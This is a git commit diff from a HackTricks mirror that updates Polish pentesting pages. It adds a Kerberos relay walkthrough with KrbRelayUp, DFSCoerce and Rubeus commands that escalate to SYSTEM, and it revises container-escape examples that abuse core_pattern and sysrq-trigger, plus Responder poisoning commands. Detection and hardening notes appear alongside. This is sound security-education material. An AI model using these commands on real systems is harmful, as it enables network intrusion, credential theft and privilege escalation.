mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
		
							parent
							
								
									6922399f2a
								
							
						
					
					
						commit
						b3d4c38025
					
				@ -316,6 +316,7 @@
 | 
			
		||||
  - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
 | 
			
		||||
    - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
 | 
			
		||||
  - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
 | 
			
		||||
  - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
 | 
			
		||||
  - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
 | 
			
		||||
    - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
 | 
			
		||||
    - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
 | 
			
		||||
@ -342,6 +343,7 @@
 | 
			
		||||
  - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
 | 
			
		||||
  - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
 | 
			
		||||
  - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
 | 
			
		||||
  - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
 | 
			
		||||
  - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
 | 
			
		||||
  - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
 | 
			
		||||
  - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
 | 
			
		||||
 | 
			
		||||
@ -4,10 +4,10 @@
 | 
			
		||||
 | 
			
		||||
## Protokoły sieciowe
 | 
			
		||||
 | 
			
		||||
### Protokoły lokalnego rozwiązywania nazw
 | 
			
		||||
### Protokoły lokalnej rozdzielczości hosta
 | 
			
		||||
 | 
			
		||||
- **LLMNR, NBT-NS i mDNS**:
 | 
			
		||||
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS.
 | 
			
		||||
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnej rozdzielczości nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS.
 | 
			
		||||
- Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP.
 | 
			
		||||
- [Responder](https://github.com/lgandx/Responder) może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły.
 | 
			
		||||
- Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć [tutaj](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 | 
			
		||||
@ -20,7 +20,7 @@
 | 
			
		||||
 | 
			
		||||
### Responder do zatruwania protokołów
 | 
			
		||||
 | 
			
		||||
- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając w zależności od typów zapytań, głównie celując w usługi SMB.
 | 
			
		||||
- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB.
 | 
			
		||||
- Jest preinstalowane w Kali Linux, konfigurowalne w `/etc/responder/Responder.conf`.
 | 
			
		||||
- Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu `/usr/share/responder/logs`.
 | 
			
		||||
- Obsługuje zarówno IPv4, jak i IPv6.
 | 
			
		||||
@ -32,18 +32,18 @@
 | 
			
		||||
- Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi): `responder -I <Interface> -P -r -v`
 | 
			
		||||
- Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: `responder -I <Interface> --lm --disable-ess`
 | 
			
		||||
- Podszywanie się pod WPAD można aktywować za pomocą: `responder -I <Interface> --wpad`
 | 
			
		||||
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można ustawić: `responder.py -I <interface> -Pv`
 | 
			
		||||
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować: `responder.py -I <interface> -Pv`
 | 
			
		||||
 | 
			
		||||
### Zatruwanie DHCP za pomocą Respondera
 | 
			
		||||
 | 
			
		||||
- Podszywanie się pod odpowiedzi DHCP może na stałe zatruć informacje o trasowaniu ofiary, oferując bardziej dyskretną alternatywę dla zatruwania ARP.
 | 
			
		||||
- Wymaga to precyzyjnej wiedzy o konfiguracji sieci docelowej.
 | 
			
		||||
- Wymaga to dokładnej wiedzy o konfiguracji sieci docelowej.
 | 
			
		||||
- Uruchamianie ataku: `./Responder.py -I eth0 -Pdv`
 | 
			
		||||
- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego postępowania, aby uniknąć zakłóceń w sieci.
 | 
			
		||||
- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego podejścia, aby uniknąć zakłóceń w sieci.
 | 
			
		||||
 | 
			
		||||
### Przechwytywanie poświadczeń za pomocą Respondera
 | 
			
		||||
 | 
			
		||||
- Responder będzie podszywał się pod usługi przy użyciu wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
 | 
			
		||||
- Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
 | 
			
		||||
- Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń.
 | 
			
		||||
 | 
			
		||||
Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu.
 | 
			
		||||
@ -62,7 +62,7 @@ Inveigh.exe
 | 
			
		||||
```
 | 
			
		||||
### NTLM Relay Attack
 | 
			
		||||
 | 
			
		||||
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową, jeśli się powiedzie. Kluczowe wymagania wstępne obejmują:
 | 
			
		||||
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują:
 | 
			
		||||
 | 
			
		||||
- Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie.
 | 
			
		||||
- Podpisywanie SMB powinno być wyłączone.
 | 
			
		||||
@ -115,6 +115,113 @@ W systemie Windows **możesz być w stanie wymusić, aby niektóre uprzywilejowa
 | 
			
		||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Atak Kerberos Relay
 | 
			
		||||
 | 
			
		||||
Atak **Kerberos relay** kradnie **bilet AP-REQ** z jednej usługi i ponownie go wykorzystuje przeciwko drugiej usłudze, która dzieli **ten sam klucz konta komputera** (ponieważ oba SPN znajdują się na tym samym koncie maszyny `$`). Działa to, mimo że **klasy usług SPN różnią się** (np. `CIFS/` → `LDAP/`), ponieważ *klucz*, który odszyfrowuje bilet, to NT hash maszyny, a nie sam ciąg SPN, a ciąg SPN nie jest częścią podpisu.
 | 
			
		||||
 | 
			
		||||
W przeciwieństwie do NTLM relay, skok jest ograniczony do *tej samej hosta*, ale jeśli celujesz w protokół, który pozwala na zapis do LDAP, możesz połączyć się z **Resource-Based Constrained Delegation (RBCD)** lub **AD CS enrollment** i uzyskać **NT AUTHORITY\SYSTEM** za jednym razem.
 | 
			
		||||
 | 
			
		||||
Aby uzyskać szczegółowe informacje na temat tego ataku, sprawdź:
 | 
			
		||||
 | 
			
		||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
 | 
			
		||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
 | 
			
		||||
 | 
			
		||||
- 1. **Podstawy Kerberos**
 | 
			
		||||
 | 
			
		||||
| Token | Cel | Znaczenie dla relay |
 | 
			
		||||
|-------|---------|-----------------|
 | 
			
		||||
| **TGT / AS-REQ ↔ REP** | Udowadnia użytkownika KDC | nietknięty |
 | 
			
		||||
| **Bilet usługi / TGS-REQ ↔ REP** | Powiązany z jednym **SPN**; zaszyfrowany kluczem właściciela SPN | wymienny, jeśli SPN dzielą konto |
 | 
			
		||||
| **AP-REQ** | Klient wysyła `TGS` do usługi | **to, co kradniemy i odtwarzamy** |
 | 
			
		||||
 | 
			
		||||
* Bilety są szyfrowane **kluczem pochodzącym z hasła konta, które posiada SPN**.
 | 
			
		||||
* **Authenticator** wewnątrz AP-REQ ma znacznik czasu 5 minut; odtworzenie w tym oknie jest ważne, dopóki pamięć podręczna usługi nie zobaczy duplikatu.
 | 
			
		||||
* Windows rzadko sprawdza, czy ciąg SPN w bilecie pasuje do usługi, którą trafiasz, więc bilet dla `CIFS/HOST` normalnie odszyfrowuje się poprawnie na `LDAP/HOST`.
 | 
			
		||||
 | 
			
		||||
- 2. **Co musi być prawdą, aby przekazać Kerberos**
 | 
			
		||||
 | 
			
		||||
1. **Wspólny klucz:** źródłowe i docelowe SPN należą do tego samego konta komputera (domyślnie na serwerach Windows).
 | 
			
		||||
2. **Brak ochrony kanału:** SMB/LDAP podpisy wyłączone i EPA wyłączone dla HTTP/LDAPS.
 | 
			
		||||
3. **Możesz przechwycić lub wymusić uwierzytelnienie:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fałszywy AuthIP, rogue DCOM, itd.
 | 
			
		||||
4. **Źródło biletu nie zostało już użyte:** wygrywasz wyścig, zanim prawdziwy pakiet dotrze lub blokujesz go całkowicie; w przeciwnym razie pamięć podręczna serwera odtwarza zdarzenie 4649.
 | 
			
		||||
5. Musisz w jakiś sposób być w stanie przeprowadzić **MitM w komunikacji**, być może będąc częścią grupy DNSAmins, aby zmodyfikować DNS domeny lub być w stanie zmienić plik HOST ofiary.
 | 
			
		||||
 | 
			
		||||
### Kroki ataku Kerberos Relay
 | 
			
		||||
 | 
			
		||||
- 3.1 **Rozpoznanie hosta**
 | 
			
		||||
```powershell
 | 
			
		||||
# find servers where HTTP, LDAP or CIFS share the same machine account
 | 
			
		||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
 | 
			
		||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
 | 
			
		||||
Select Name,servicePrincipalName
 | 
			
		||||
```
 | 
			
		||||
- 3.2 **Uruchom nasłuchiwacz przekazywania**
 | 
			
		||||
 | 
			
		||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
 | 
			
		||||
```powershell
 | 
			
		||||
# one-click local SYSTEM via RBCD
 | 
			
		||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
 | 
			
		||||
```
 | 
			
		||||
`KrbRelayUp` opakowuje **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** w jednym pliku binarnym.
 | 
			
		||||
 | 
			
		||||
- 3.3 **Wymuszenie uwierzytelnienia Kerberos**
 | 
			
		||||
```powershell
 | 
			
		||||
# coerce DC to auth over SMB with DFSCoerce
 | 
			
		||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
 | 
			
		||||
```
 | 
			
		||||
DFSCoerce sprawia, że DC wysyła nam bilet Kerberos `CIFS/DC01`.
 | 
			
		||||
 | 
			
		||||
- 3.4 **Przekaż AP-REQ**
 | 
			
		||||
 | 
			
		||||
KrbRelay wyodrębnia blob GSS z SMB, pakuje go ponownie w bind LDAP i przesyła do `ldap://DC01`—uwierzytelnienie się udaje, ponieważ **ten sam klucz** go deszyfruje.
 | 
			
		||||
 | 
			
		||||
- 3.5 **Wykorzystaj LDAP ➜ RBCD ➜ SYSTEM**
 | 
			
		||||
```powershell
 | 
			
		||||
# (auto inside KrbRelayUp) manual for clarity
 | 
			
		||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
 | 
			
		||||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
 | 
			
		||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
 | 
			
		||||
SCMUACBypass.exe
 | 
			
		||||
```
 | 
			
		||||
You now own **NT AUTHORITY\SYSTEM**.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
### **Więcej ścieżek, które warto znać**
 | 
			
		||||
 | 
			
		||||
| Wektor | Sztuczka | Dlaczego to ma znaczenie |
 | 
			
		||||
|--------|-------|----------------|
 | 
			
		||||
| **AuthIP / IPSec** | Fałszywy serwer wysyła **ładunek GSS-ID** z dowolnym SPN; klient buduje AP-REQ bezpośrednio do ciebie | Działa nawet w różnych podsieciach; domyślne poświadczenia maszyny |
 | 
			
		||||
| **DCOM / MSRPC** | Złośliwy resolver OXID zmusza klienta do uwierzytelnienia do dowolnego SPN i portu | Czyste *lokalne* podniesienie uprawnień; omija zaporę |
 | 
			
		||||
| **AD CS Web Enroll** | Przekaż bilet maszyny do `HTTP/CA` i zdobądź certyfikat, następnie **PKINIT** do wyprodukowania TGT | Omija zabezpieczenia podpisywania LDAP |
 | 
			
		||||
| **Shadow Credentials** | Zapisz `msDS-KeyCredentialLink`, następnie PKINIT z fałszywą parą kluczy | Nie ma potrzeby dodawania konta komputera |
 | 
			
		||||
 | 
			
		||||
### **Rozwiązywanie problemów**
 | 
			
		||||
 | 
			
		||||
| Błąd | Znaczenie | Naprawa |
 | 
			
		||||
|-------|---------|-----|
 | 
			
		||||
| `KRB_AP_ERR_MODIFIED` | Klucz biletu ≠ klucz docelowy | Zły host/SPN |
 | 
			
		||||
| `KRB_AP_ERR_SKEW` | Zegar > 5 min różnicy | Synchronizuj czas lub użyj `w32tm` |
 | 
			
		||||
| Niepowodzenie bindowania LDAP | Wymuszone podpisywanie | Użyj ścieżki AD CS lub wyłącz podpisywanie |
 | 
			
		||||
| Spam zdarzeń 4649 | Usługa zauważyła duplikat Authenticator | zablokuj lub wyściguj oryginalny pakiet |
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
### **Wykrywanie**
 | 
			
		||||
 | 
			
		||||
* Wzrost w **Zdarzeniu 4769** dla `CIFS/`, `HTTP/`, `LDAP/` z tego samego źródła w ciągu kilku sekund.
 | 
			
		||||
* **Zdarzenie 4649** na usłudze wskazuje na wykrycie powtórzenia.
 | 
			
		||||
* Logowanie Kerberos z **127.0.0.1** (przekazywanie do lokalnego SCM) jest bardzo podejrzane—mapuj za pomocą reguły Sigma w dokumentach KrbRelayUp.
 | 
			
		||||
* Obserwuj zmiany w atrybutach `msDS-AllowedToActOnBehalfOfOtherIdentity` lub `msDS-KeyCredentialLink`.
 | 
			
		||||
 | 
			
		||||
## **Wzmacnianie zabezpieczeń**
 | 
			
		||||
 | 
			
		||||
1. **Wymuś podpisywanie LDAP i SMB + EPA** na każdym serwerze.
 | 
			
		||||
2. **Podziel SPN** tak, aby HTTP nie było na tym samym koncie co CIFS/LDAP.
 | 
			
		||||
3. Łatki dla wektorów przymusu (PetitPotam KB5005413, DFS, AuthIP).
 | 
			
		||||
4. Ustaw **`ms-DS-MachineAccountQuota = 0`** aby zatrzymać nieautoryzowane dołączenia komputerów.
 | 
			
		||||
5. Powiadamiaj o **Zdarzeniu 4649** i nieoczekiwanych logowaniach Kerberos z pętli zwrotnej.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Odniesienia
 | 
			
		||||
 | 
			
		||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
 | 
			
		||||
 | 
			
		||||
@ -2,29 +2,41 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Ekspozycja `/proc`, `/sys` i `/var` bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji wspierających dalsze ataki. Na przykład, niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor z powodu swojej opartej na ścieżkach natury, pozostawiając `/host/proc` bez ochrony.
 | 
			
		||||
Ekspozycja `/proc`, `/sys` i `/var` bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczyć informacji wspomagających dalsze ataki. Na przykład, niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor z powodu swojej opartej na ścieżce natury, pozostawiając `/host/proc` bez ochrony.
 | 
			
		||||
 | 
			
		||||
**Szczegółowe informacje o każdej potencjalnej luce można znaleźć w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
 | 
			
		||||
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
 | 
			
		||||
 | 
			
		||||
## procfs Vulnerabilities
 | 
			
		||||
 | 
			
		||||
### `/proc/sys`
 | 
			
		||||
 | 
			
		||||
Ten katalog pozwala na modyfikację zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka subkatalogów budzących niepokój:
 | 
			
		||||
Ten katalog pozwala na dostęp do modyfikacji zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka subkatalogów budzących niepokój:
 | 
			
		||||
 | 
			
		||||
#### **`/proc/sys/kernel/core_pattern`**
 | 
			
		||||
 | 
			
		||||
- Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
 | 
			
		||||
- Umożliwia zdefiniowanie programu do wykonania przy generowaniu pliku core z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
 | 
			
		||||
- Jeśli możesz pisać w tym pliku, możliwe jest zapisanie potoku `|` po którym następuje ścieżka do programu lub skryptu, który zostanie wykonany po wystąpieniu awarii.
 | 
			
		||||
- Atakujący może znaleźć ścieżkę wewnątrz hosta do swojego kontenera, wykonując `mount` i zapisać ścieżkę do binarnego pliku wewnątrz systemu plików swojego kontenera. Następnie, spowodować awarię programu, aby zmusić jądro do wykonania binarnego pliku poza kontenerem.
 | 
			
		||||
 | 
			
		||||
- **Przykład testowania i eksploatacji**:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
 | 
			
		||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
 | 
			
		||||
cd /proc/sys/kernel
 | 
			
		||||
echo "|$overlay/shell.sh" > core_pattern # Ustaw niestandardowy handler
 | 
			
		||||
sleep 5 && ./crash & # Wywołaj handler
 | 
			
		||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
 | 
			
		||||
sleep 5 && ./crash & # Trigger handler
 | 
			
		||||
```
 | 
			
		||||
Sprawdź [ten post](https://pwning.systems/posts/escaping-containers-for-fun/) po więcej informacji.
 | 
			
		||||
 | 
			
		||||
Przykładowy program, który się zawiesza:
 | 
			
		||||
```c
 | 
			
		||||
int main(void) {
 | 
			
		||||
char buf[1];
 | 
			
		||||
for (int i = 0; i < 100; i++) {
 | 
			
		||||
buf[i] = 1;
 | 
			
		||||
}
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
#### **`/proc/sys/kernel/modprobe`**
 | 
			
		||||
 | 
			
		||||
- Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 | 
			
		||||
@ -38,12 +50,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
 | 
			
		||||
#### **`/proc/sys/vm/panic_on_oom`**
 | 
			
		||||
 | 
			
		||||
- Odniesienie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 | 
			
		||||
- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killera, gdy występuje warunek OOM.
 | 
			
		||||
- Globalny flag, który kontroluje, czy jądro panikuje lub wywołuje OOM killera, gdy wystąpi warunek OOM.
 | 
			
		||||
 | 
			
		||||
#### **`/proc/sys/fs`**
 | 
			
		||||
 | 
			
		||||
- Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje o systemie plików.
 | 
			
		||||
- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service przeciwko hostowi.
 | 
			
		||||
- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service na hosta.
 | 
			
		||||
 | 
			
		||||
#### **`/proc/sys/fs/binfmt_misc`**
 | 
			
		||||
 | 
			
		||||
@ -51,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
 | 
			
		||||
- Może prowadzić do eskalacji uprawnień lub dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
 | 
			
		||||
- Istotny exploit i wyjaśnienie:
 | 
			
		||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
 | 
			
		||||
- Szczegółowy tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
 | 
			
		||||
- Szczegółowy samouczek: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
 | 
			
		||||
 | 
			
		||||
### Inne w `/proc`
 | 
			
		||||
 | 
			
		||||
@ -102,7 +114,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
 | 
			
		||||
#### **`/proc/mem`**
 | 
			
		||||
 | 
			
		||||
- Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
 | 
			
		||||
- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga rozwiązania adresów wirtualnych na fizyczne.
 | 
			
		||||
- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.
 | 
			
		||||
 | 
			
		||||
#### **`/proc/sched_debug`**
 | 
			
		||||
 | 
			
		||||
@ -114,13 +126,13 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
 | 
			
		||||
- Dostarcza informacje o punktach montowania w przestrzeni nazw montowania procesu.
 | 
			
		||||
- Ujawnia lokalizację `rootfs` kontenera lub obrazu.
 | 
			
		||||
 | 
			
		||||
### `/sys` Vulnerabilities
 | 
			
		||||
### Luki w `/sys`
 | 
			
		||||
 | 
			
		||||
#### **`/sys/kernel/uevent_helper`**
 | 
			
		||||
 | 
			
		||||
- Używane do obsługi `uevent` urządzeń jądra.
 | 
			
		||||
- Zapis do `/sys/kernel/uevent_helper` może wykonać dowolne skrypty po wyzwoleniu `uevent`.
 | 
			
		||||
- **Przykład eksploatacji**: %%%bash
 | 
			
		||||
- Zapis do `/sys/kernel/uevent_helper` może wykonywać dowolne skrypty po wyzwoleniu `uevent`.
 | 
			
		||||
- **Przykład wykorzystania**: %%%bash
 | 
			
		||||
 | 
			
		||||
#### Tworzy ładunek
 | 
			
		||||
 | 
			
		||||
@ -144,11 +156,11 @@ cat /output %%%
 | 
			
		||||
 | 
			
		||||
#### **`/sys/class/thermal`**
 | 
			
		||||
 | 
			
		||||
- Kontroluje ustawienia temperatury, potencjalnie powodując ataki DoS lub fizyczne uszkodzenia.
 | 
			
		||||
- Kontroluje ustawienia temperatury, co może prowadzić do ataków DoS lub uszkodzenia fizycznego.
 | 
			
		||||
 | 
			
		||||
#### **`/sys/kernel/vmcoreinfo`**
 | 
			
		||||
 | 
			
		||||
- Ujawnia adresy jądra, potencjalnie kompromitując KASLR.
 | 
			
		||||
- Ujawnia adresy jądra, co może kompromitować KASLR.
 | 
			
		||||
 | 
			
		||||
#### **`/sys/kernel/security`**
 | 
			
		||||
 | 
			
		||||
@ -158,16 +170,18 @@ cat /output %%%
 | 
			
		||||
#### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`**
 | 
			
		||||
 | 
			
		||||
- Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
 | 
			
		||||
- Błędna konfiguracja lub eksploatacja może prowadzić do zablokowanych laptopów lub nieuruchamialnych maszyn hosta.
 | 
			
		||||
- Błędna konfiguracja lub wykorzystanie może prowadzić do zablokowanych laptopów lub maszyn hosta, które nie mogą się uruchomić.
 | 
			
		||||
 | 
			
		||||
#### **`/sys/kernel/debug`**
 | 
			
		||||
 | 
			
		||||
- `debugfs` oferuje interfejs debugowania "bez zasad" do jądra.
 | 
			
		||||
- Historia problemów z bezpieczeństwem z powodu swojej nieograniczonej natury.
 | 
			
		||||
- Historia problemów z bezpieczeństwem z powodu jego nieograniczonej natury.
 | 
			
		||||
 | 
			
		||||
### `/var` Vulnerabilities
 | 
			
		||||
### Luki w `/var`
 | 
			
		||||
 | 
			
		||||
Folder **/var** hosta zawiera gniazda czasu wykonywania kontenerów i systemy plików kontenerów. Jeśli ten folder jest zamontowany wewnątrz kontenera, ten kontener uzyska dostęp do odczytu i zapisu do systemów plików innych kontenerów z uprawnieniami root. Może to być wykorzystywane do przełączania się między kontenerami, powodowania odmowy usługi lub wprowadzania tylnego wejścia do innych kontenerów i aplikacji, które w nich działają.
 | 
			
		||||
Folder **/var** hosta zawiera gniazda czasu wykonywania kontenerów oraz systemy plików kontenerów. 
 | 
			
		||||
Jeśli ten folder jest zamontowany wewnątrz kontenera, ten kontener uzyska dostęp do odczytu i zapisu do systemów plików innych kontenerów z uprawnieniami root. 
 | 
			
		||||
Może to być nadużywane do przełączania się między kontenerami, powodowania odmowy usługi lub wprowadzania tylnego wejścia do innych kontenerów i aplikacji, które w nich działają.
 | 
			
		||||
 | 
			
		||||
#### Kubernetes
 | 
			
		||||
 | 
			
		||||
@ -235,7 +249,7 @@ Kontener może odczytywać tokeny K8s serviceaccount lub tokeny AWS webidentity,
 | 
			
		||||
```
 | 
			
		||||
#### Docker
 | 
			
		||||
 | 
			
		||||
Eksploatacja w Dockerze (lub w wdrożeniach Docker Compose) jest dokładnie taka sama, z tym że zazwyczaj systemy plików innych kontenerów są dostępne pod inną podstawową ścieżką:
 | 
			
		||||
Eksploatacja w Dockerze (lub w wdrożeniach Docker Compose) jest dokładnie taka sama, z tą różnicą, że zazwyczaj systemy plików innych kontenerów są dostępne pod inną ścieżką bazową:
 | 
			
		||||
```bash
 | 
			
		||||
$ docker info | grep -i 'docker root\|storage driver'
 | 
			
		||||
Storage Driver: overlay2
 | 
			
		||||
 | 
			
		||||
@ -0,0 +1,73 @@
 | 
			
		||||
# iOS Pentesting without Jailbreak
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Główna idea
 | 
			
		||||
 | 
			
		||||
Aplikacje podpisane z **uprawnieniem `get_task_allow`** pozwalają aplikacjom innych firm na uruchomienie funkcji **`task_for_pid()`** z identyfikatorem procesu początkowej aplikacji jako argumentem, aby uzyskać port zadania nad nią (móc ją kontrolować i uzyskać dostęp do jej pamięci).
 | 
			
		||||
 | 
			
		||||
Jednak nie jest to tak proste, jak po prostu pobranie IPA, ponowne podpisanie go z uprawnieniem i wgranie z powrotem na urządzenie. Dzieje się tak z powodu ochrony FairPlay. Gdy podpis aplikacji się zmienia, klucz DRM (Digital Rights Management) jest **unieważniony i aplikacja nie będzie działać**.
 | 
			
		||||
 | 
			
		||||
Na starym urządzeniu z jailbreakiem możliwe jest zainstalowanie IPA, **odszyfrowanie go za pomocą ulubionego narzędzia** (takiego jak Iridium lub frida-ios-dump) i pobranie go z powrotem z urządzenia. Chociaż, jeśli to możliwe, zaleca się po prostu poprosić klienta o odszyfrowane IPA.
 | 
			
		||||
 | 
			
		||||
## Uzyskanie odszyfrowanego IPA
 | 
			
		||||
 | 
			
		||||
### Pobierz z Apple
 | 
			
		||||
 | 
			
		||||
1. Zainstaluj aplikację do testowania na iPhonie.
 | 
			
		||||
2. Zainstaluj i uruchom [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na swoim macos.
 | 
			
		||||
